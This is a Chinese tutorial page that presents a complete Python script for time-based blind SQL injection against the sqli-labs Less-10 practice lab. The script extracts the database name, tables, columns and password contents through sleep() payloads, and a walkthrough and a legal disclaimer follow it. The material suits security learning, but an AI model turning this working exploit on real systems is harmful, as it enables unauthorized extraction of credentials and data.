当前位置: 首页 > article >正文

基于python的自动化的sql延时注入脚本

声明:本文所涉及代码仅供学习使用,任何人利用此造成的一切后果与本人无关

自动化的sql延时注入脚本

源码

import requests
import time
import datetime
url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"
p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'
#获取数据库长度
def database_len():
    for i in range(1,10):
        payload = '?id=1" and if(length(database())>%s,sleep(4),0)--+'%i
        url1 = url +payload
        #print(url1)
        time1 =datetime.datetime.now()
        r=requests.get(url=url1)
        time2=datetime.datetime.now()
        time3 = (time2-time1).total_seconds()    #计算时间差, 忽略天 只看时分秒   total_seconds() 真正的时间差 包含天
        if time3 >= 4:
            print(i)
        else:
            print(i)
            break
    print('数据库长度为:',i)

#database_len()


#获取数据库名
def datebase_name():
    name=''
    for i in range(1,9):
        for j in p1:
            payload='?id=1" and if(substr(database(),%s,1)="%s",sleep(4),1)--+' %(i,j)
            url1=url+payload
            #print(url1)
            time1=datetime.datetime.now()
            r=requests.get(url=url1)
            time2=datetime.datetime.now()
            time3=(time2-time1).total_seconds()
            if time3 >= 4:
                name += j
                print(name)
                break
    n = name
    print('数据库名字为:'+n)

#datebase_name()

#获取表
def tables_name():
    global table4
    table1=''
    table2=''
    table3=''
    table4=''
    for i in range(5):
        for j in range(1,6):
            for t in p1:
                payload='?id=1" and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)="%s"),3,0)) --+'%(i,j,t)
                url1=url+payload
                #print(url1)
                time1=datetime.datetime.now()
                r=requests.get(url=url1)
                time2=datetime.datetime.now()
                time3=(time2-time1).seconds
                if time3 >= 3:
                    if i == 0:
                        table1 +=t
                        print('第一个表为:',table1)
                    elif i == 1:
                        table2 += t
                        print('第二个表为:',table2)
                    elif i == 2:
                        table3 +=t
                        print('第三个表为:',table3)
                    elif i == 3:
                        table4 += t
                        print('第四个表为:',table4)
                    else:
                        break
    print('第一个表为'+table1)
    print('第二个表为'+table2)
    print('第三个表为' + table3)
    print('第四个表为' + table4)


#tables_name()

#获取表中的字段
def table_column():
    global column3
    column1=''
    column2=''
    column3=''
    f=table4
    for i in range(3):
        for j in range(1,9):
            for t in p1:
                payload='?id=1" and sleep(if((mid((select column_name from information_schema.columns where table_name=\'%s\' limit %s,1),%s,1)="%s"),5,0)) --+'%(f,i,j,t)
                url1 =url+payload
                #print(url1)
                time1 = datetime.datetime.now()
                r = requests.get(url=url1)
                time2 = datetime.datetime.now()
                time3 = (time2 - time1).seconds
                if time3 >= 5:
                    if i == 0:
                        column1 += t
                        print('字段一为:'+column1)
                    elif i == 1:
                        column2 += t
                        print('字段二为:'+column2)
                    elif i == 2:
                        column3 += t
                        print('字段三为:'+column3)
                    else:
                        break
    print('users字段一为:'+column1)
    print('字段二为:'+column2)
    print('字段三为:',column3)


#table_column()

def s_content():
    content1=''
    f1= column3
    f2= table4
    for i in range(20):
            for t in p1:
                payload = '?id=1" and sleep(if((mid((select %s from %s limit 7,1),%s,1)="%s" ),3,0)) --+'%(f1,f2,i,t)
                url1 =url+payload
                #print(url1)
                time1=datetime.datetime.now()
                r = requests.get(url=url1)
                time2 = datetime.datetime.now()
                time3 = (time2-time1).seconds
                if time3 >=3:
                        content1 += t
                        print('password字段一内容为:'+content1)
                        break

    print('字段内容为:'+content1)


start_time=time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time=time.time()
end_start_time=end_time-start_time
print('总花费时间为',end_start_time,'秒')”

源码详解

这段代码是一个Python脚本,用于通过SQL注入漏洞来探测和提取一个Web应用程序的数据库信息。它使用了requests库来发送HTTP请求,并使用timedatetime库来测量响应时间,从而推断出数据库的结构和内容。

导入库

import requests
import time
import datetime
  • requests: 用于发送HTTP请求。

  • timedatetime: 用于测量时间差。

定义URL

url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"
  • 目标URL,用于发送SQL注入请求。

定义字符集

p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'
  • 包含所有可能的字符,用于构造SQL注入的payload。

获取数据库长度

def database_len():
    # ...
  • 通过逐步增加length(database())的值,并测量响应时间来确定数据库名称的长度。

获取数据库名

def datebase_name():
    # ...
  • 通过逐个字符地探测数据库名称,并测量响应时间来确定每个字符。

获取表名

def tables_name():
    # ...
  • 通过查询information_schema.tables表,并测量响应时间来确定表名。

获取表中的字段

def table_column():
    # ...
  • 通过查询information_schema.columns表,并测量响应时间来确定字段名。

获取字段内容

def s_content():
    # ...
  • 通过查询特定表的特定字段,并测量响应时间来确定字段的内容。

主程序

start_time = time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time = time.time()
end_start_time = end_time - start_time
print('总花费时间为', end_start_time, '秒')
  • 记录开始时间,依次调用上述函数来获取数据库信息,记录结束时间,并计算总耗时。

注意事项

  1. SQL注入风险: 这段代码利用了SQL注入漏洞,实际应用中应避免这种不安全的做法。

  2. 法律和道德: 在未经授权的情况下进行此类操作是违法的,应确保在合法和授权的环境中使用。

  3. 代码注释: 代码中有大量被注释掉的print语句,这些语句可以帮助调试和理解代码的执行过程。

总结

这段代码通过构造特定的SQL注入payload,并利用时间延迟来逐步揭示数据库的结构和内容。虽然这种方法在安全研究中有一定的价值,但在实际应用中应严格遵守法律法规和道德准则。


http://www.kler.cn/a/429903.html

相关文章:

  • 高级排序算法(一):快速排序详解
  • vue-resizable插件运用
  • vite+vue3 配置ip和端口以及自动打开浏览器
  • 【Linux】开机进入grub/怎么办?
  • 【Python】无法将“pip”项识别为 cmdlet、函数、脚本文件或可运行程序的名称解决方案
  • java中的数组(2)
  • unity3d—demo(2d人物左右移动发射子弹)
  • 如何使用LEADTOOLS创建.NET Core跨平台OCR应用程序
  • Scala 的正则表达式
  • 在 Vue 3 中实现点击按钮后禁止浏览器前进或后退
  • 4.STM32通信接口之SPI通信(含源码)---硬件SPI与W25Q64存储模块通信实战《精讲》
  • 【网络篇】TCP知识
  • 嵌入式驱动开发详解13(IIC驱动架构实现)
  • 掌握小程序地理位置服务插件,让用户体验再升级
  • 搭建Node.js后端
  • EasyExcel改名为FastExce做了那些改变呢
  • 【深度学习】深入解析卷积神经网络(CNNs)
  • 【语音识别】搭建本地的语音转文字系统:FunASR(离线不联网即可使用)
  • Kubernetes(K8s)
  • 从爱尔兰歌曲到莎士比亚:LSTM文本生成模型的优化之旅